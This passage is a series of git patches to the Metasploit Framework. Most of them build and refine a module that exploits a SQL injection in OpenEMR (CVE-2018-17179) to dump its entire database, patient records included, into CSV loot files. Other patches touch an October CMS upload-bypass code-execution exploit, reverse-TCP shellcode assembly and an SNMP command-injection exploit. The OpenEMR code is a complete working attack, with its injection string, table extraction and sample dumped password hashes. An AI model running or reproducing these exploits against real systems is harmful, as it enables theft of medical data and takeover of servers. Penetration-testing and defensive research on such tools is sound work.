02:02:32,"","","","" +7,janedoemsf,$2a$05$uv85uBLeAOWQWWl9hHGL0uUy1KZSTgNGbZfJ9o8Lg0ILuSeGCNDbm,$2a$05$uv85uBLeAOWQWWl9hHGL06$,2019-08-29 02:09:37,"","","","" +``` diff --git a/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb b/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb new file mode 100644 index 0000000000..0df2fb5133 --- /dev/null +++ b/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb @@ -0,0 +1,235 @@ +# frozen_string_literal: true + +require 'csv' +require 'nokogiri' + +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'OpenEMR 5.0.1 Patch 6 SQLi Dump', + 'Description' => ' + This module exploits a SQLi vulnerability found in + OpenEMR version 5.0.1 Patch 6 and lower. The + vulnerability allows the contents of the entire + database (with exception of log and task tables) to be + extracted. + This module saves each table as a \'.csv\' file in your + loot directory and has been tested with + OpenEMR 5.0.1 (3). + ', + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Will Porter ' + ], + 'References' => [ + ['CVE', 'CVE-2018-17179'], + ['URL', 'https://github.com/openemr/openemr/commit/3e22d11c7175c1ebbf3d862545ce6fee18f70617'] + ], + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => + [ + ['OpenEMR < 5.0.1 (6)', {}] + ], + 'Privileged' => false, + 'DisclosureDate' => 'May 17 2019', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to the OpenEMR installation', '/openemr']) + ] + ) + end + + def uri + target_uri.path + end + + def openemr_version + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(uri, 'admin.php') + ) + vprint_status("admin.php response code: #{res.code}") + document = Nokogiri::HTML(res.body) + document.css('tr')[1].css('td')[3].text + rescue StandardError + '' + end + + def check + # Check version + print_status('Trying to detect installed version') + version = openemr_version + return Exploit::CheckCode::Unknown if version.empty? + + vprint_status("Version #{version} detected") + version.sub! ' (', '.' + version.sub! ')', '' + version.strip! + + return Exploit::CheckCode::Safe unless Gem::Version.new(version) < Gem::Version.new('5.0.1.7') + + Exploit::CheckCode::Appears + end + + def get_response(payload) + path = "#{uri}/interface/forms/eye_mag/taskman.php?action=make_task&from_id=1&to_id=1&pid=1&doc_type=1&doc_id=1&enc=1' and updatexml(1,concat(0x7e, (#{payload})),0) or '" + # This is only going to work for spaces. Ideally we could use URI.encode + # but that is deprecated and CGI.escape uses + which doesn't work + # for this application. + path = path.gsub ' ', '%20' + response = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(path) + ) + response.body + end + + def parse_xpath_error(response_body) + matches = response_body.match %r{.*XPATH syntax error: '~(.*)' Date: Wed, 4 Sep 2019 01:36:20 -0400 Subject: [PATCH 120/217] Fix the CVE format based on failed tests. --- modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb b/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb index 0df2fb5133..86b8740fe9 100644 --- a/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb +++ b/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb @@ -29,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary 'Will Porter ' ], 'References' => [ - ['CVE', 'CVE-2018-17179'], + ['CVE', '2018-17179'], ['URL', 'https://github.com/openemr/openemr/commit/3e22d11c7175c1ebbf3d862545ce6fee18f70617'] ], 'Platform' => ['php'], From 04e750024c4da0eef56bba8b4d78e2768d733a0e Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Tue, 3 Sep 2019 15:39:10 -0400 Subject: [PATCH 121/217] Clean up linux/x86/rev_tcp asm per acammack Push read_size to edx as suggested by Adam, optimize shellcode a bit by selecting using dx instead of edx for sizes under 64K. Testing: Internal only, creates session on every try instead of every 5th. --- lib/msf/core/payload/linux/reverse_tcp.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/payload/linux/reverse_tcp.rb b/lib/msf/core/payload/linux/reverse_tcp.rb index 64a3c57732..78c9bfaf88 100644 --- a/lib/msf/core/payload/linux/reverse_tcp.rb +++ b/lib/msf/core/payload/linux/reverse_tcp.rb @@ -93,9 +93,11 @@ module Payload::Linux::ReverseTcp_x86 pay_mod = framework.payloads.create(self.refname) read_length = pay_mod.generate_intermediate_stage(pay_mod.generate_stage(datastore.to_h)).size else - read_length = 4096 + read_length = 2048 end + read_reg = read_length.to_s(16).size > 4 ? 'edx' : 'dx' + asm = %Q^ push #{retry_count} ; retry counter pop esi @@ -163,7 +165,7 @@ module Payload::Linux::ReverseTcp_x86 mov ecx, esp cdq mov dh, 0xc - push 0x#{read_length.to_s(16)} + mov #{read_reg}, 0x#{read_length.to_s(16)} mov al, 0x3 int 0x80 ; sys_read (recv()) test eax, eax From 7359e4bdd6d1047ad753c4ab34ddb844aa7decbe Mon Sep 17 00:00:00 2001 From: Touhid M Shaikh Date: Wed, 4 Sep 2019 12:20:39 +0530 Subject: [PATCH 122/217] fixes suggested by @space-r7 fixed check before passing to the accessor, removed res which is not used. --- modules/exploits/multi/http/october_upload_bypass_exec.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/october_upload_bypass_exec.rb b/modules/exploits/multi/http/october_upload_bypass_exec.rb index d387774ec4..78c642a183 100644 --- a/modules/exploits/multi/http/october_upload_bypass_exec.rb +++ b/modules/exploits/multi/http/october_upload_bypass_exec.rb @@ -81,7 +81,9 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => normalize_uri(uri, '/backend/backend/auth/signin'), 'method' => 'GET', }) - + + fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to request") if res.nil? + # Grabbing Session Key and token from body /name="_session_key" type="hidden" value="(?[A-Za-z0-9"]+)">/ =~ res.body fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine Session Key") if session.nil? @@ -151,7 +153,7 @@ class MetasploitModule < Msf::Exploit::Remote }) # Executing Payload Now - res = send_request_cgi({ + send_request_cgi({ 'uri' => normalize_uri(uri, 'storage', 'app', 'media', payload_name), 'method' => 'GET', }) From f0eb7da43bde12dd89271f20ab4e6f6cbf67a995 Mon Sep 17 00:00:00 2001 From: Touhid M Shaikh Date: Wed, 4 Sep 2019 12:28:51 +0530 Subject: [PATCH 123/217] Update modules/exploits/multi/http/october_upload_bypass_exec.rb Co-Authored-By: bcoles --- modules/exploits/multi/http/october_upload_bypass_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/october_upload_bypass_exec.rb b/modules/exploits/multi/http/october_upload_bypass_exec.rb index 78c642a183..17cbb65b69 100644 --- a/modules/exploits/multi/http/october_upload_bypass_exec.rb +++ b/modules/exploits/multi/http/october_upload_bypass_exec.rb @@ -128,7 +128,7 @@ class MetasploitModule < Msf::Exploit::Remote cookies = login #Payload - evil = "" + evil = "" payload_name = "#{rand_text_alpha(8 + rand(5))}.php5" # setup POST request. From bb8b3245a3dbf5c78006faee6ff97a6130344b2a Mon Sep 17 00:00:00 2001 From: Touhid M Shaikh Date: Wed, 4 Sep 2019 12:28:59 +0530 Subject: [PATCH 124/217] Update modules/exploits/multi/http/october_upload_bypass_exec.rb Co-Authored-By: bcoles --- modules/exploits/multi/http/october_upload_bypass_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/october_upload_bypass_exec.rb b/modules/exploits/multi/http/october_upload_bypass_exec.rb index 17cbb65b69..c9bba2432e 100644 --- a/modules/exploits/multi/http/october_upload_bypass_exec.rb +++ b/modules/exploits/multi/http/october_upload_bypass_exec.rb @@ -129,7 +129,7 @@ class MetasploitModule < Msf::Exploit::Remote #Payload evil = "" - payload_name = "#{rand_text_alpha(8 + rand(5))}.php5" + payload_name = "#{rand_text_alpha(8..13)}.php5" # setup POST request. post_data = Rex::MIME::Message.new From 974f0781141bd57e9ec0a70de0c0600329f5b347 Mon Sep 17 00:00:00 2001 From: Touhid M Shaikh Date: Wed, 4 Sep 2019 12:29:32 +0530 Subject: [PATCH 125/217] Update modules/exploits/multi/http/october_upload_bypass_exec.rb Co-Authored-By: bcoles --- modules/exploits/multi/http/october_upload_bypass_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/october_upload_bypass_exec.rb b/modules/exploits/multi/http/october_upload_bypass_exec.rb index c9bba2432e..83c2fde105 100644 --- a/modules/exploits/multi/http/october_upload_bypass_exec.rb +++ b/modules/exploits/multi/http/october_upload_bypass_exec.rb @@ -21,7 +21,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'Author' => [ - 'Anti Räis', #Discovery + 'Anti Räis', # Discovery 'Touhid M.Shaikh ', # Metasploit Module 'SecureLayer7.net' # Metasploit Module ], From 90b639da7146d84f6271bb00b300d5247174b4e4 Mon Sep 17 00:00:00 2001 From: Touhid M Shaikh Date: Wed, 4 Sep 2019 12:32:15 +0530 Subject: [PATCH 126/217] Update documentation/modules/exploit/multi/http/october_upload_bypass_exec.md Co-Authored-By: bcoles --- .../modules/exploit/multi/http/october_upload_bypass_exec.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/multi/http/october_upload_bypass_exec.md b/documentation/modules/exploit/multi/http/october_upload_bypass_exec.md index 03a71e5de0..9b7fe00138 100644 --- a/documentation/modules/exploit/multi/http/october_upload_bypass_exec.md +++ b/documentation/modules/exploit/multi/http/october_upload_bypass_exec.md @@ -2,7 +2,7 @@ ## Description An authenticated user with permission to upload and manage media contents can upload various files on the server. The application prevents the user from -uploading PHP code by checking the file extension. It uses black-list based +uploading PHP code by checking the file extension. It uses blacklist based approach, as seen in octobercms/vendor/october/rain/src/Filesystem/ Definitions.php:blockedExtensions(). From 9179ce1de10aa0fcf215dc41ea58fa6ac7964a6b Mon Sep 17 00:00:00 2001 From: Touhid M Shaikh Date: Wed, 4 Sep 2019 12:32:23 +0530 Subject: [PATCH 127/217] Update documentation/modules/exploit/multi/http/october_upload_bypass_exec.md Co-Authored-By: bcoles --- .../modules/exploit/multi/http/october_upload_bypass_exec.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/multi/http/october_upload_bypass_exec.md b/documentation/modules/exploit/multi/http/october_upload_bypass_exec.md index 9b7fe00138..1b434bbb56 100644 --- a/documentation/modules/exploit/multi/http/october_upload_bypass_exec.md +++ b/documentation/modules/exploit/multi/http/october_upload_bypass_exec.md @@ -6,7 +6,7 @@ uploading PHP code by checking the file extension. It uses blacklist based approach, as seen in octobercms/vendor/october/rain/src/Filesystem/ Definitions.php:blockedExtensions(). -## Vulnerable Sorftware +## Vulnerable Software https://www.exploit-db.com/apps/4ff8a9688f31b7338020d0bc85da13fc-october-1.0.412.tar.gz ## Author From 5e63c83257ce12b4aa079666898fbae2898253b3 Mon Sep 17 00:00:00 2001 From: Touhid M Shaikh Date: Wed, 4 Sep 2019 12:37:21 +0530 Subject: [PATCH 128/217] Update modules/exploits/multi/http/october_upload_bypass_exec.rb Co-Authored-By: bcoles --- modules/exploits/multi/http/october_upload_bypass_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/october_upload_bypass_exec.rb b/modules/exploits/multi/http/october_upload_bypass_exec.rb index 83c2fde105..aac4bd1388 100644 --- a/modules/exploits/multi/http/october_upload_bypass_exec.rb +++ b/modules/exploits/multi/http/october_upload_bypass_exec.rb @@ -134,7 +134,7 @@ class MetasploitModule < Msf::Exploit::Remote # setup POST request. post_data = Rex::MIME::Message.new post_data.add_part("/", content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="path"') - post_data.add_part(evil, content_type = 'application/x-php', transfer_encoding = nil, content_disposition = "form-data; name=\"file_data\"; filename=\"#{payload_name}") #payload + post_data.add_part(evil, content_type = 'application/x-php', transfer_encoding = nil, content_disposition = "form-data; name=\"file_data\"; filename=\"#{payload_name}") data = post_data.to_s vprint_status("Trying to upload malicious #{payload_name} file ....") From aeaf4232fea88e711195cd0f027ba4dd0e433b98 Mon Sep 17 00:00:00 2001 From: Touhid M Shaikh Date: Wed, 4 Sep 2019 12:46:31 +0530 Subject: [PATCH 129/217] updated typo, comments and check fixed --- .../multi/http/october_upload_bypass_exec.rb | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/modules/exploits/multi/http/october_upload_bypass_exec.rb b/modules/exploits/multi/http/october_upload_bypass_exec.rb index aac4bd1388..07da3e14d2 100644 --- a/modules/exploits/multi/http/october_upload_bypass_exec.rb +++ b/modules/exploits/multi/http/october_upload_bypass_exec.rb @@ -17,7 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote uploading PHP code by checking the file extension. It uses black-list based approach, as seen in octobercms/vendor/october/rain/src/Filesystem/ Definitions.php:blockedExtensions(). - This module was tested against October Machine on HachTheBox. + This module was tested on October CMS version v1.0.412 on Ubuntu. }, 'Author' => [ @@ -81,8 +81,10 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => normalize_uri(uri, '/backend/backend/auth/signin'), 'method' => 'GET', }) - - fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to request") if res.nil? + + if res.nil? + fail_with(Failure::Unreachable, "#{peer} - Connection failed") + end # Grabbing Session Key and token from body /name="_session_key" type="hidden" value="(?[A-Za-z0-9"]+)">/ =~ res.body @@ -112,7 +114,7 @@ class MetasploitModule < Msf::Exploit::Remote fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil? - # if we redirect to core_welcome dan we assume we have authenticated cookie. + # if we redirect. then we assume we have authenticated cookie. if res.code == 302 print_good("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}") store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD']) @@ -134,14 +136,13 @@ class MetasploitModule < Msf::Exploit::Remote # setup POST request. post_data = Rex::MIME::Message.new post_data.add_part("/", content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="path"') - post_data.add_part(evil, content_type = 'application/x-php', transfer_encoding = nil, content_disposition = "form-data; name=\"file_data\"; filename=\"#{payload_name}") + post_data.add_part(evil, content_type = 'application/x-php', transfer_encoding = nil, content_disposition = "form-data; name=\"file_data\"; filename=\"#{payload_name}") #payload data = post_data.to_s vprint_status("Trying to upload malicious #{payload_name} file ....") # Lets Send Upload request. res = send_request_cgi({ 'uri' => normalize_uri(uri, '/backend/cms/media'), - 'agent' => 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0', 'method' => 'POST', 'cookie' => cookies, 'headers' => { From d0803e49becbe8f93235e2cbb3fcdd7ecdfeabe1 Mon Sep 17 00:00:00 2001 From: William Porter Date: Wed, 4 Sep 2019 03:18:58 -0400 Subject: [PATCH 130/217] Make changes as suggested in the pull request reviews. --- .../sqli/openemr/openemr_sqli_dump.rb | 52 +++++++++++-------- 1 file changed, 30 insertions(+), 22 deletions(-) diff --git a/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb b/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb index 86b8740fe9..328db926a8 100644 --- a/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb +++ b/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb @@ -8,6 +8,8 @@ require 'nokogiri' # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::Exploit include Msf::Exploit::Remote::HttpClient def initialize(info = {}) @@ -19,7 +21,7 @@ class MetasploitModule < Msf::Auxiliary vulnerability allows the contents of the entire database (with exception of log and task tables) to be extracted. - This module saves each table as a \'.csv\' file in your + This module saves each table as a `.csv` file in your loot directory and has been tested with OpenEMR 5.0.1 (3). ', @@ -32,13 +34,10 @@ class MetasploitModule < Msf::Auxiliary ['CVE', '2018-17179'], ['URL', 'https://github.com/openemr/openemr/commit/3e22d11c7175c1ebbf3d862545ce6fee18f70617'] ], - 'Platform' => ['php'], - 'Arch' => ARCH_PHP, 'Targets' => [ ['OpenEMR < 5.0.1 (6)', {}] ], - 'Privileged' => false, 'DisclosureDate' => 'May 17 2019', 'DefaultTarget' => 0)) @@ -82,22 +81,31 @@ class MetasploitModule < Msf::Auxiliary end def get_response(payload) - path = "#{uri}/interface/forms/eye_mag/taskman.php?action=make_task&from_id=1&to_id=1&pid=1&doc_type=1&doc_id=1&enc=1' and updatexml(1,concat(0x7e, (#{payload})),0) or '" + path = "#{uri}/interface/forms/eye_mag/taskman.php?" # This is only going to work for spaces. Ideally we could use URI.encode # but that is deprecated and CGI.escape uses + which doesn't work # for this application. path = path.gsub ' ', '%20' response = send_request_cgi( 'method' => 'GET', - 'uri' => normalize_uri(path) + 'uri' => normalize_uri(path), + 'vars_get' => { + 'action' => 'make_task', + 'from_id' => '1', + 'to_id' => '1', + 'pid' => '1', + 'doc_type' => '1', + 'doc_id' => '1', + 'enc' => "1' and updatexml(1,concat(0x7e, (#{payload})),0) or '" + } ) response.body end def parse_xpath_error(response_body) - matches = response_body.match %r{.*XPATH syntax error: '~(.*)' Date: Wed, 4 Sep 2019 03:30:13 -0400 Subject: [PATCH 131/217] Remove broken include. --- modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb b/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb index 328db926a8..e446b26a59 100644 --- a/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb +++ b/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb @@ -9,7 +9,6 @@ require 'nokogiri' ## class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report - include Msf::Exploit include Msf::Exploit::Remote::HttpClient def initialize(info = {}) From 71c1c07b0df0eacfc6c642c1a3b217c024c1a4fc Mon Sep 17 00:00:00 2001 From: Touhid M Shaikh Date: Wed, 4 Sep 2019 13:08:26 +0530 Subject: [PATCH 132/217] fixed fix EOF on 88 line --- modules/exploits/multi/http/october_upload_bypass_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/october_upload_bypass_exec.rb b/modules/exploits/multi/http/october_upload_bypass_exec.rb index 07da3e14d2..bb6369b7b6 100644 --- a/modules/exploits/multi/http/october_upload_bypass_exec.rb +++ b/modules/exploits/multi/http/october_upload_bypass_exec.rb @@ -85,7 +85,7 @@ class MetasploitModule < Msf::Exploit::Remote if res.nil? fail_with(Failure::Unreachable, "#{peer} - Connection failed") end - + # Grabbing Session Key and token from body /name="_session_key" type="hidden" value="(?[A-Za-z0-9"]+)">/ =~ res.body fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine Session Key") if session.nil? From 74647c314a294b6ba58046555d2f1a3da7d36de0 Mon Sep 17 00:00:00 2001 From: Will Porter Date: Wed, 4 Sep 2019 07:53:36 +0000 Subject: [PATCH 133/217] Use Rex::Text.rand_text_alphanumeric and remove gsub as a weak excuse for encoding. --- modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb b/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb index e446b26a59..7fe30d3542 100644 --- a/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb +++ b/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb @@ -84,7 +84,6 @@ class MetasploitModule < Msf::Auxiliary # This is only going to work for spaces. Ideally we could use URI.encode # but that is deprecated and CGI.escape uses + which doesn't work # for this application. - path = path.gsub ' ', '%20' response = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(path), @@ -214,7 +213,7 @@ class MetasploitModule < Msf::Auxiliary print_status("Identified #{num_tables} tables.") count = 1 - rand_token = rand_text(8) + rand_token = Rex::Text.rand_text_alphanumeric(8) dump_dir = File.join(Msf::Config.loot_directory, 'openemr-' + rand_token) Dir.mkdir dump_dir print_status("Created dump directory: #{dump_dir}") From c433cd4007029c0bc4722bf0a598f3718089a6ac Mon Sep 17 00:00:00 2001 From: Will Porter Date: Wed, 4 Sep 2019 15:04:56 +0000 Subject: [PATCH 134/217] Remove erroneous ? from URI path. --- modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb b/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb index 7fe30d3542..4797b02956 100644 --- a/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb +++ b/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb @@ -80,7 +80,7 @@ class MetasploitModule < Msf::Auxiliary end def get_response(payload) - path = "#{uri}/interface/forms/eye_mag/taskman.php?" + path = "#{uri}/interface/forms/eye_mag/taskman.php" # This is only going to work for spaces. Ideally we could use URI.encode # but that is deprecated and CGI.escape uses + which doesn't work # for this application. From 50f5d803282a780feea2c2b9dccb947762de89cd Mon Sep 17 00:00:00 2001 From: William Porter Date: Wed, 4 Sep 2019 11:09:05 -0400 Subject: [PATCH 135/217] Fix code highlighting in documentation description. --- .../modules/auxiliary/sqli/openemr/openemr_sqli_dump.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/auxiliary/sqli/openemr/openemr_sqli_dump.md b/documentation/modules/auxiliary/sqli/openemr/openemr_sqli_dump.md index 384987bf8b..1c80327449 100644 --- a/documentation/modules/auxiliary/sqli/openemr/openemr_sqli_dump.md +++ b/documentation/modules/auxiliary/sqli/openemr/openemr_sqli_dump.md @@ -6,7 +6,7 @@ vulnerability allows the contents of the entire database (with exception of log and task tables) to be extracted. -This module saves each table as a \'.csv\' file in your +This module saves each table as a `.csv` file in your loot directory and has been tested with OpenEMR 5.0.1 (3). From 0ee332453549ab6d684ac1aa9200ef9708ccba4c Mon Sep 17 00:00:00 2001 From: William Porter Date: Wed, 4 Sep 2019 12:21:59 -0400 Subject: [PATCH 136/217] Use store_loot properly, check response.nil? before consuming body. --- .../sqli/openemr/openemr_sqli_dump.rb | 30 ++++++++----------- 1 file changed, 12 insertions(+), 18 deletions(-) diff --git a/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb b/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb index 4797b02956..38e8b6b788 100644 --- a/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb +++ b/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb @@ -97,7 +97,7 @@ class MetasploitModule < Msf::Auxiliary 'enc' => "1' and updatexml(1,concat(0x7e, (#{payload})),0) or '" } ) - response.body + response end def parse_xpath_error(response_body) @@ -108,7 +108,9 @@ class MetasploitModule < Msf::Auxiliary end def exec_payload_and_parse(payload) - parse_xpath_error(get_response(payload)) + response = get_response(payload) + body = response.nil? ? '' : response.body + parse_xpath_error(body) end def complete_where_clause(where_clause, not_in_clause) @@ -193,9 +195,10 @@ class MetasploitModule < Msf::Auxiliary data end - def save_csv(data, filename) + def save_csv(data, table) + safe_table = table.gsub(/[^0-9a-z]/i, '') store_loot( - 'openemr.database.dump', + "openemr.database.#{safe_table}.dump", 'application/CSV', rhost, data, @@ -212,27 +215,18 @@ class MetasploitModule < Msf::Auxiliary num_tables = tables.length print_status("Identified #{num_tables} tables.") - count = 1 - rand_token = Rex::Text.rand_text_alphanumeric(8) - dump_dir = File.join(Msf::Config.loot_directory, 'openemr-' + rand_token) - Dir.mkdir dump_dir - print_status("Created dump directory: #{dump_dir}") - # These tables are impossible to fetch because they increase each request skiptables = %w[form_taskman log log_comment_encrypt] - tables.each do |table| + tables.each_with_index do |table, i| if skiptables.include?(table) - print_status("Skipping table (#{count}/#{num_tables}): #{table}") + print_status("Skipping table (#{i + 1}/#{num_tables}): #{table}") else - print_status("Dumping table (#{count}/#{num_tables}): #{table}") + print_status("Dumping table (#{i + 1}/#{num_tables}): #{table}") table_data = walk_table(table) - table_data_file_path = File.join(dump_dir, table + '.csv') - save_csv(table_data, table_data_file_path) + save_csv(table_data, table) end - - count += 1 end - print_status("Dumped all tables to #{dump_dir}") + print_status("Dumped all tables to #{Msf::Config.loot_directory}") end def run From 1b9bb964b800b45f5a28f8f62d00f6d35805da50 Mon Sep 17 00:00:00 2001 From: Will Porter Date: Wed, 4 Sep 2019 16:56:28 +0000 Subject: [PATCH 137/217] Adjust loot filename. --- modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb b/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb index 38e8b6b788..4ce1ca4391 100644 --- a/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb +++ b/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb @@ -198,11 +198,11 @@ class MetasploitModule < Msf::Auxiliary def save_csv(data, table) safe_table = table.gsub(/[^0-9a-z]/i, '') store_loot( - "openemr.database.#{safe_table}.dump", + "openemr.db.#{safe_table}.dump", 'application/CSV', rhost, data, - filename + table ) end From 8dbb41ee5bdef172393449c530eb0081349c0a7e Mon Sep 17 00:00:00 2001 From: Shelby Pace Date: Wed, 4 Sep 2019 12:04:46 -0500 Subject: [PATCH 138/217] remove extra line --- modules/exploits/linux/snmp/awind_snmp_exec.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/linux/snmp/awind_snmp_exec.rb b/modules/exploits/linux/snmp/awind_snmp_exec.rb index 6e77f32f84..4db14fb70f 100644 --- a/modules/exploits/linux/snmp/awind_snmp_exec.rb +++ b/modules/exploits/linux/snmp/awind_snmp_exec.rb @@ -158,7 +158,6 @@ class MetasploitModule < Msf::Exploit::Remote end def execute_command(cmd, opts = {}) - # The payload must start with a valid FTP URI otherwise the injection point is not reached cmd = "ftp://1.1.1.1/$(#{cmd.to_s})" From 2cd93cc0978583b364fa4817e1ff966601a4910b Mon Sep 17 00:00:00 2001 From: William Porter Date: Wed, 4 Sep 2019 13:08:49 -0400 Subject: [PATCH 139/217] Update documentation and actually save loot as csv file. --- .../modules/auxiliary/sqli/openemr/openemr_sqli_dump.md | 7 +++---- modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb | 9 ++++++++- 2 files changed, 11 insertions(+), 5 deletions(-) diff --git a/documentation/modules/auxiliary/sqli/openemr/openemr_sqli_dump.md b/documentation/modules/auxiliary/sqli/openemr/openemr_sqli_dump.md index 1c80327449..db88caf3fa 100644 --- a/documentation/modules/auxiliary/sqli/openemr/openemr_sqli_dump.md +++ b/documentation/modules/auxiliary/sqli/openemr/openemr_sqli_dump.md @@ -57,7 +57,6 @@ msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > run [*] DB Version: 10.3.15-MariaDB-1 [*] Enumerating Tables, this may take a moment... [*] Identified 310 tables. -[*] Created dump directory: /root/.msf4/loot/openemr-a323pl20 [*] Dumping table (1/310): ALL_PLUGINS [*] Dumping table (2/310): APPLICABLE_ROLES [*] Dumping table (3/310): CHARACTER_SETS @@ -72,12 +71,12 @@ msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > run [*] Dumping table (308/310): gacl_acl_seq [*] Dumping table (309/310): background_services [*] Dumping table (310/310): geo_country_reference -[*] Dumped all tables to /root/.msf4/loot/openemr-a323pl20 +[*] Dumped all tables to /root/.msf4/loot [*] Auxiliary module execution completed msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > exit -root@localhost:/tmp# cd /root/.msf4/loot/openemr-a323pl20 -root@localhost:~/.msf4/loot/openemr-a323pl20# cat users_secure.csv +root@localhost:/tmp# cd /root/.msf4/loot +root@localhost:~/.msf4/loot# cat 20190904164551_default_127.0.0.1_openemr.db.users_659759.bin id,username,password,salt,last_update,password_history1,salt_history1,password_history2,salt_history2 1,admin,$2a$05$bxcQWy1ZeIwV2/ScGBQlTOeUVqJo9MdvHuF1mBs4Jo7H0/bFpZoPK,$2a$05$bxcQWy1ZeIwV2/ScGBQlTZ$,2019-08-27 20:07:13,"","","","" 4,johndoemsf,$2a$05$gUWCtnsoqPBbn5zKiasyaOphgJwkA9BySy7LnK3BswyWt0RrLb0Ma,$2a$05$gUWCtnsoqPBbn5zKiasyaQ$,2019-08-29 02:01:28,"","","","" diff --git a/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb b/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb index 4ce1ca4391..2e9cb5d92a 100644 --- a/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb +++ b/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb @@ -195,13 +195,20 @@ class MetasploitModule < Msf::Auxiliary data end + def csv_string(data) + s = '' + for row in data + s += row.to_csv + end + end + def save_csv(data, table) safe_table = table.gsub(/[^0-9a-z]/i, '') store_loot( "openemr.db.#{safe_table}.dump", 'application/CSV', rhost, - data, + csv_string(data), table ) end From ccd689536576ede709f427e39620f8a8c151c5ed Mon Sep 17 00:00:00 2001 From: Metasploit Date: Wed, 4 Sep 2019 12:16:18 -0500 Subject: [PATCH 140/217] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 42 